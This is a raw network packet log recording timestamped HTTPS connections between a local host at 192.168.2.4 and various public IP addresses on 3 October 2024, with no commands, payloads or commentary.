Oct 3, 2024 10:41:26.661281109 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.661304951 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.661318064 CEST	443	49752	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.661339045 CEST	49752	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.668469906 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.668514013 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.668673038 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.668836117 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:26.668855906 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:26.706691980 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:26.706711054 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:26.706788063 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:26.708874941 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:26.708903074 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:26.720815897 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:26.720849037 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:26.721240997 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:26.721240997 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:26.721281052 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.161737919 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.161781073 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.161835909 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.162075043 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.162091970 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.358563900 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.367387056 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:27.367403984 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.368479967 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.368618011 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:27.378647089 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.383809090 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:27.383905888 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:27.392273903 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:27.392421007 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.392682076 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.392724991 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.393234015 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.443087101 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:27.443130970 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:27.443502903 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:27.454041004 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:27.454061985 CEST	443	49760	142.250.186.164	192.168.2.4
Oct 3, 2024 10:41:27.461401939 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.461582899 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.461853027 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.503411055 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.636586905 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:27.640883923 CEST	49760	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:41:27.662703991 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662734985 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662741899 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662765980 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662780046 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662794113 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662801981 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.662825108 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662844896 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:27.662851095 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.662894011 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.815351963 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.816942930 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.816957951 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.818056107 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.818135023 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.837526083 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.837690115 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.838758945 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:27.838769913 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:27.890660048 CEST	49758	443	192.168.2.4	13.32.121.47
Oct 3, 2024 10:41:27.890686989 CEST	443	49758	13.32.121.47	192.168.2.4
Oct 3, 2024 10:41:28.026943922 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:28.145129919 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:28.145155907 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:28.145231962 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:28.145250082 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:28.145411968 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:28.146204948 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:28.218307972 CEST	49767	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:28.218343973 CEST	443	49767	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:28.660077095 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:28.660111904 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:28.660181046 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:28.660506964 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:28.660520077 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:28.869966984 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:28.915405035 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091084957 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091113091 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091123104 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091149092 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091165066 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091166973 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.091173887 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091193914 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091229916 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.091250896 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.091450930 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091460943 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091489077 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091512918 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.091542006 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.091550112 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091594934 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.091639996 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.294943094 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.295300961 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.295325994 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.296503067 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.296561956 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.297519922 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.297583103 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.297787905 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.297795057 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.307832003 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:29.307868004 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:29.308445930 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:29.308631897 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:29.308650017 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:29.426683903 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.549977064 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.550000906 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.550033092 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.550075054 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.550107956 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.550124884 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.550208092 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.550918102 CEST	49773	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:29.550932884 CEST	443	49773	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:29.600023985 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:29.600060940 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:29.600255013 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:29.600436926 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:29.600449085 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:29.603027105 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:29.603061914 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:29.603265047 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:29.603439093 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:29.603451967 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:29.625536919 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:29.625566006 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:29.625690937 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:29.625953913 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:29.625967026 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:29.863647938 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.863647938 CEST	49759	443	192.168.2.4	20.109.210.53
Oct 3, 2024 10:41:29.863677979 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:29.863683939 CEST	443	49759	20.109.210.53	192.168.2.4
Oct 3, 2024 10:41:30.017642975 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.018053055 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.018079996 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.018412113 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.019447088 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.019505024 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.019680023 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.063395977 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.132114887 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.132148981 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.132215977 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.135310888 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.135319948 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.141474009 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.236104012 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.237201929 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.237226009 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.238347054 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.238408089 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.239686966 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.239830017 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.239938021 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.239944935 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.239963055 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.240005970 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.242469072 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.244371891 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.244396925 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.244828939 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.244997978 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.245017052 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.245979071 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.246051073 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.247163057 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.247240067 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.247349024 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.248739958 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.248820066 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.249589920 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.249660015 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.249727964 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.287395000 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.294025898 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294085979 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294111013 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294150114 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294156075 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.294178963 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294189930 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.294243097 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.294243097 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.294243097 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.295399904 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.295571089 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.295712948 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.295770884 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.313153028 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.313153028 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.313169956 CEST	443	49781	13.32.121.44	192.168.2.4
Oct 3, 2024 10:41:30.316018105 CEST	49781	443	192.168.2.4	13.32.121.44
Oct 3, 2024 10:41:30.336013079 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.336112976 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.336127043 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.443123102 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.443186998 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.531995058 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.532027006 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.532052994 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.532155991 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.532176971 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.532195091 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.532236099 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.539165974 CEST	49786	443	192.168.2.4	52.31.64.150
Oct 3, 2024 10:41:30.539186001 CEST	443	49786	52.31.64.150	192.168.2.4
Oct 3, 2024 10:41:30.544287920 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.546260118 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.546339035 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.546591043 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.549114943 CEST	49785	443	192.168.2.4	63.140.62.27
Oct 3, 2024 10:41:30.549138069 CEST	443	49785	63.140.62.27	192.168.2.4
Oct 3, 2024 10:41:30.613130093 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613147020 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613157034 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613183022 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613194942 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613210917 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.613213062 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613235950 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.613265991 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.613292933 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.622033119 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.622102976 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.622119904 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.622159004 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.622210979 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.625159979 CEST	49784	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:30.625184059 CEST	443	49784	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:30.774646044 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.775235891 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.775250912 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.776349068 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.776402950 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.776729107 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.776798964 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.776870012 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.823398113 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:30.948904037 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:30.948918104 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:31.111690998 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:31.111762047 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:31.111773968 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:31.111785889 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:31.111833096 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:31.185668945 CEST	49788	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:31.185689926 CEST	443	49788	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:31.464452028 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:31.464477062 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:31.464536905 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:31.464807987 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:31.464822054 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:31.505453110 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:31.505503893 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:31.505563021 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:31.506077051 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:31.506093979 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:31.636162043 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:31.636184931 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:31.636243105 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:31.636400938 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:31.636414051 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:31.649363041 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:31.649385929 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:31.649435997 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:31.649825096 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:31.649840117 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:31.839982033 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 3, 2024 10:41:31.840017080 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 3, 2024 10:41:32.118343115 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.118624926 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.118638039 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.120172977 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.120255947 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.120722055 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.120811939 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.120887995 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.120893955 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.170043945 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.170084953 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.171411991 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.171411991 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.171453953 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.183090925 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.183409929 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.183429956 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.184587955 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.185743093 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.185743093 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.185834885 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.185977936 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.185991049 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.249052048 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.249392986 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.249413967 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.250431061 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.250906944 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.250906944 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.250976086 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.251077890 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.251085997 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.280257940 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.280596018 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.280610085 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.281616926 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.281681061 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.282382011 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.282438993 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.282521963 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.291165113 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.291165113 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.291192055 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.327402115 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.385431051 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.385461092 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.385550022 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.385581970 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.385822058 CEST	49801	443	192.168.2.4	52.31.23.243
